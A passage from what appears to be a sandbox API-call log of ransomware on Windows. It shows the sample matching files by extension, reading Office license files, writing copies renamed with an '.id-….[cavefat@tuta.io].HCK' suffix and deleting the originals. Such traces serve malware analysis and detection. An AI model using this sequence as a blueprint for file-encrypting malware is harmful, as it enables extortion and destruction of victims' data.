Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 1 [0235.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0235.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0235.363] lstrlenW (lpString=".doc") returned 4 [0235.363] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0235.363] lstrlenW (lpString=".docx") returned 5 [0235.363] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0235.363] lstrlenW (lpString=".pdf") returned 4 [0235.363] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0235.363] lstrlenW (lpString=".xls") returned 4 [0235.364] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0235.364] lstrlenW (lpString=".xlsx") returned 5 [0235.364] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0235.364] lstrlenW (lpString=".ppt") returned 4 [0235.364] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0235.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0235.364] lstrlenW (lpString=".zip") returned 4 [0235.364] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0235.364] lstrlenW (lpString=".rar") returned 4 [0235.364] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0235.364] lstrlenW (lpString=".bz2") returned 4 [0235.364] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0235.364] lstrlenW (lpString=".7z") returned 3 [0235.364] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0235.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0235.364] lstrlenW (lpString=".dbf") returned 4 [0235.364] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0235.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0235.364] lstrlenW (lpString=".1cd") returned 4 [0235.364] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0235.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0235.364] lstrlenW (lpString=".jpg") returned 4 [0235.364] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0235.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0235.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0235.364] lstrlenW (lpString=".doc") returned 4 [0235.364] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0235.364] lstrlenW (lpString=".docx") returned 5 [0235.364] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0235.364] lstrlenW (lpString=".pdf") returned 4 [0235.364] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0235.364] lstrlenW (lpString=".xls") returned 4 [0235.364] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0235.364] lstrlenW (lpString=".xlsx") returned 5 [0235.364] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0235.364] lstrlenW (lpString=".ppt") returned 4 [0235.364] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0235.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0235.364] lstrlenW (lpString=".zip") returned 4 [0235.364] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0235.364] lstrlenW (lpString=".rar") returned 4 [0235.364] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0235.364] lstrlenW (lpString=".bz2") returned 4 [0235.365] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0235.365] lstrlenW (lpString=".7z") returned 3 [0235.365] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0235.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0235.365] lstrlenW (lpString=".dbf") returned 4 [0235.365] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0235.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0235.365] lstrlenW (lpString=".1cd") returned 4 [0235.365] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0235.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0235.365] lstrlenW (lpString=".jpg") returned 4 [0235.365] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0235.365] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.365] lstrlenW (lpString="AccessR_Grace-ppd.xrm-ms") returned 24 [0235.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0235.484] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=20775) returned 1 [0235.484] CloseHandle (hObject=0x4c8) returned 1 [0235.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 0x220 [0235.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.917] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.917] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.918] GetLastError () returned 0x0 [0235.918] ReadFile (in: hFile=0x3c4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x5127, lpOverlapped=0x0) returned 1 [0235.921] WriteFile (in: hFile=0x3bc, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5130, lpOverlapped=0x0) returned 1 [0235.922] ReadFile (in: hFile=0x3c4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.922] WriteFile (in: hFile=0x3bc, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x104, lpOverlapped=0x0) returned 1 [0235.922] SetEndOfFile (hFile=0x3bc) returned 1 [0235.922] CloseHandle (hObject=0x3bc) returned 1 [0235.922] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.922] SetEndOfFile (hFile=0x3c4) returned 1 [0235.925] CloseHandle (hObject=0x3c4) returned 1 [0235.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 1 [0235.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0235.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0235.926] lstrlenW (lpString=".doc") returned 4 [0235.926] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.926] lstrlenW (lpString=".docx") returned 5 [0235.926] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.927] lstrlenW (lpString=".pdf") returned 4 [0235.927] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.927] lstrlenW (lpString=".xls") returned 4 [0235.927] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.927] lstrlenW (lpString=".xlsx") returned 5 [0235.927] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.927] lstrlenW (lpString=".ppt") returned 4 [0235.927] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0235.927] lstrlenW (lpString=".zip") returned 4 [0235.927] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.927] lstrlenW (lpString=".rar") returned 4 [0235.927] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.927] lstrlenW (lpString=".bz2") returned 4 [0235.927] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.927] lstrlenW (lpString=".7z") returned 3 [0235.927] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0235.927] lstrlenW (lpString=".dbf") returned 4 [0235.927] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0235.927] lstrlenW (lpString=".1cd") returned 4 [0235.927] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0235.927] lstrlenW (lpString=".jpg") returned 4 [0235.927] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0235.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0235.927] lstrlenW (lpString=".doc") returned 4 [0235.927] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.927] lstrlenW (lpString=".docx") returned 5 [0235.927] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.927] lstrlenW (lpString=".pdf") returned 4 [0235.927] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.927] lstrlenW (lpString=".xls") returned 4 [0235.927] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.927] lstrlenW (lpString=".xlsx") returned 5 [0235.927] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.928] lstrlenW (lpString=".ppt") returned 4 [0235.928] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0235.928] lstrlenW (lpString=".zip") returned 4 [0235.928] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.928] lstrlenW (lpString=".rar") returned 4 [0235.928] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.928] lstrlenW (lpString=".bz2") returned 4 [0235.928] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.928] lstrlenW (lpString=".7z") returned 3 [0235.928] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0235.928] lstrlenW (lpString=".dbf") returned 4 [0235.928] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0235.928] lstrlenW (lpString=".1cd") returned 4 [0235.928] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0235.928] lstrlenW (lpString=".jpg") returned 4 [0235.928] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.928] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.928] lstrlenW (lpString="AccessR_Retail-ul-oob.xrm-ms") returned 28 [0235.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.929] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11579) returned 1 [0235.929] CloseHandle (hObject=0x3c4) returned 1 [0235.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220 [0235.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.930] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.930] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.930] GetLastError () returned 0x0 [0235.930] ReadFile (in: hFile=0x3c4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d3b, lpOverlapped=0x0) returned 1 [0235.932] WriteFile (in: hFile=0x3bc, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0235.933] ReadFile (in: hFile=0x3c4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.933] WriteFile (in: hFile=0x3bc, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x10c, lpOverlapped=0x0) returned 1 [0235.933] SetEndOfFile (hFile=0x3bc) returned 1 [0235.933] CloseHandle (hObject=0x3bc) returned 1 [0235.933] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.933] SetEndOfFile (hFile=0x3c4) returned 1 [0235.936] CloseHandle (hObject=0x3c4) returned 1 [0235.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 1 [0235.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0235.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0235.937] lstrlenW (lpString=".doc") returned 4 [0235.937] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.937] lstrlenW (lpString=".docx") returned 5 [0235.937] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.937] lstrlenW (lpString=".pdf") returned 4 [0235.937] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.937] lstrlenW (lpString=".xls") returned 4 [0235.937] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.937] lstrlenW (lpString=".xlsx") returned 5 [0235.937] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.937] lstrlenW (lpString=".ppt") returned 4 [0235.937] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0235.937] lstrlenW (lpString=".zip") returned 4 [0235.937] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.937] lstrlenW (lpString=".rar") returned 4 [0235.937] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.937] lstrlenW (lpString=".bz2") returned 4 [0235.937] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.937] lstrlenW (lpString=".7z") returned 3 [0235.937] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0235.937] lstrlenW (lpString=".dbf") returned 4 [0235.937] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0235.938] lstrlenW (lpString=".1cd") returned 4 [0235.938] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0235.938] lstrlenW (lpString=".jpg") returned 4 [0235.938] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0235.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0235.938] lstrlenW (lpString=".doc") returned 4 [0235.938] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.938] lstrlenW (lpString=".docx") returned 5 [0235.938] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.938] lstrlenW (lpString=".pdf") returned 4 [0235.938] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.938] lstrlenW (lpString=".xls") returned 4 [0235.938] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.938] lstrlenW (lpString=".xlsx") returned 5 [0235.938] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.938] lstrlenW (lpString=".ppt") returned 4 [0235.938] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0235.938] lstrlenW (lpString=".zip") returned 4 [0235.938] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.938] lstrlenW (lpString=".rar") returned 4 [0235.938] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.938] lstrlenW (lpString=".bz2") returned 4 [0235.938] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.938] lstrlenW (lpString=".7z") returned 3 [0235.938] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0235.938] lstrlenW (lpString=".dbf") returned 4 [0235.938] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0235.938] lstrlenW (lpString=".1cd") returned 4 [0235.938] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0235.938] lstrlenW (lpString=".jpg") returned 4 [0235.938] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.939] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.939] lstrlenW (lpString="AccessR_Retail-ul-phn.xrm-ms") returned 28 [0235.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.939] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=19924) returned 1 [0235.939] CloseHandle (hObject=0x3c4) returned 1 [0235.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 0x220 [0235.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.940] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.940] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.941] GetLastError () returned 0x0 [0235.941] ReadFile (in: hFile=0x3c4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x4dd4, lpOverlapped=0x0) returned 1 [0235.943] WriteFile (in: hFile=0x3bc, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0235.944] ReadFile (in: hFile=0x3c4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.944] WriteFile (in: hFile=0x3bc, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x10c, lpOverlapped=0x0) returned 1 [0235.944] SetEndOfFile (hFile=0x3bc) returned 1 [0235.944] CloseHandle (hObject=0x3bc) returned 1 [0235.944] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.944] SetEndOfFile (hFile=0x3c4) returned 1 [0235.948] CloseHandle (hObject=0x3c4) returned 1 [0235.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 